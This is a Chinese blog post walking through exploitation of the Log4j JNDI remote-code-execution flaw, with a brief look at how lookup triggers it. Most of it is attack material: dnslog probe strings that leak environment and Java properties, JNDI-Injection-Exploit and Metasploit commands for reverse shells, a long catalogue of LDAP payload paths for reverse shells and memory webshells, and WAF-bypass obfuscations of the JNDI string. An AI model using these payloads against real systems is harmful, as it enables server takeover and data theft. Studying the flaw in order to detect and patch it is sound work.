Log4j JNDI RCE利用&简单分析


务必遵循网络安全法,用于非法目的于本人无关,文章仅限java代码学习使用,所有环境为本人本地环境

前言

总结相关利用方式,含mac、window、linux环境常用方法,简单分析、学习相关漏洞原理实现,主要还是觉得一键化利用太脚本了,还是得自己起下java学着分析下才能真正有所进步

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码

利用流程:
jndi的恶意代码输入目标页面=》java项目=》记录log=》触发lookup=》触发jndi=》通过不同的协议访访问远程的恶意站点=》加载恶意的类=》命令执行

实际利用

检测

dnslog回显

更多的版本判断方法
${jndi:ldap://${env:JAVA_VERSION}.20d239a3.dns.1433.eu.org}

${jndi:ldap://${sys:java.vendor}.@.${sys:java.version}.@.${hostName}.6e0da007.dns.1433.eu.org}

${jndi:ldap://192.168.122.38:1389/${java:version}}
echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 1389 | xxd

命令执行(linux+windows)

linux

此处执行命令进行反弹shell
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "base64后的命令" -A "XXXX"

生成payload如下
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://XXXXXXXXXX/a4s2nc
ldap://XXXXXXXXXX/a4s2nc
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://XXXXXXXXXX/gehevl
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://XXXXXXXXXX/baygzr
ldap://XXXXXXXXXX/baygzr

利用中ldap、rmi均可尝试,获取到shell如下

windos

进行计算器弹窗,此处和linux一样,改下命令就行

执行后效果如下

或可利用如下尝试上线
use exploit/multi/script/web_delivery
set payload payload/windows/x64/powershell_reverse_tcp
set target 2
run

msf6 exploit(multi/script/web_delivery) > options 

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or
                                        0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (windows/x64/powershell_reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   EXITFUNC      process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                          yes       The listen address (an interface may be specified)
   LOAD_MODULES                   no        A list of powershell modules separated by a comma to download over the web
   LPORT         13390            yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   PSH

反弹shell(linux)

可用payload如下
[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://null:13891/Basic/Dnslog/[domain]
    ldap://null:13891/Basic/Command/whoami
    ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Basic/TomcatEcho
    ldap://null:1389/Basic/SpringEcho
    ldap://null:1389/Basic/WeblogicEcho
    ldap://null:1389/Basic/TomcatMemshell1
    ldap://null:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/Basic/JettyMemshell
    ldap://null:1389/Basic/WeblogicMemshell1
    ldap://null:1389/Basic/WeblogicMemshell2
    ldap://null:1389/Basic/JBossMemshell
    ldap://null:1389/Basic/WebsphereMemshell
    ldap://null:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://null:1389/Deserialization/URLDNS/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://null:1389/Deserialization/C3P0/SpringEcho
    ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell
    ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://null:1389/TomcatBypass/Dnslog/[domain]
    ldap://null:1389/TomcatBypass/Command/[cmd]
    ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/TomcatBypass/TomcatEcho
    ldap://null:1389/TomcatBypass/SpringEcho
    ldap://null:1389/TomcatBypass/TomcatMemshell1
    ldap://null:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://null:1389/GroovyBypass/Command/[cmd]
    ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://null:1389/WebsphereBypass/List/file=[file or directory]
    ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
    
启动服务如下

实际反弹shell

效果如下

tomcat回显

利用tomcatecho即可

基本waf绕过

${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:ldap://asdasd.asdasd.asdasd/ass}
${jndi:ldap://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:ldap}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:ldap}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

jar包复现

dnslog回显

随便新建个项目,放入log4j的两个jar包

pom.xml需要修改如下

手写一个测试类,dnslog回显如下,检测确认可以拿来打

LogManager.getLogger()调用中仅error、fatal可触发漏洞,其他方法需要配置日志级别才能够触发漏洞

命令执行

进步加载本地类

启个web服务

起个ldap服务

通过本地加载恶意类,弹窗如下

补充

复现环境需要注意,最好是191以下版本的,因为高版本的jdk没法远程加载类了

解决方案如下
高版本远程加载可设置,效果同上图mac本地idea中的命令执行
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

通过对官网给出的信息分析后,可得漏洞主要是通过jndi中的ldap的方式进行rce

补丁记录以及对lookup函数进行了判断

进步查看lookup的说明
提供了一种在任意位置向Log4j配置添加值的方法。它们是实现StrLookup接口的特殊类型的插件

支持的方法如下

这里主要以jndi进行展
JndiLookup允许通过JNDI检索变量

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>
  
基本利用格式${jndi:jndicontext}

到现在能够知道的就是lookup是主要的触发点,通过找到触发lookup的触发方法为入口,传入jndi调用ldap进步rce

那么个入口点能够利用jndi调用ldaprce?

使用的就是LogManager.getLogger()的方法,不过默认仅error、fatal能够利用成功,因为对日志等级进行了一次判断,只要当当前的事件日志等级大于设定的日志等级时候才会符合条件

Author: Yangsir
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Yangsir !
  TOC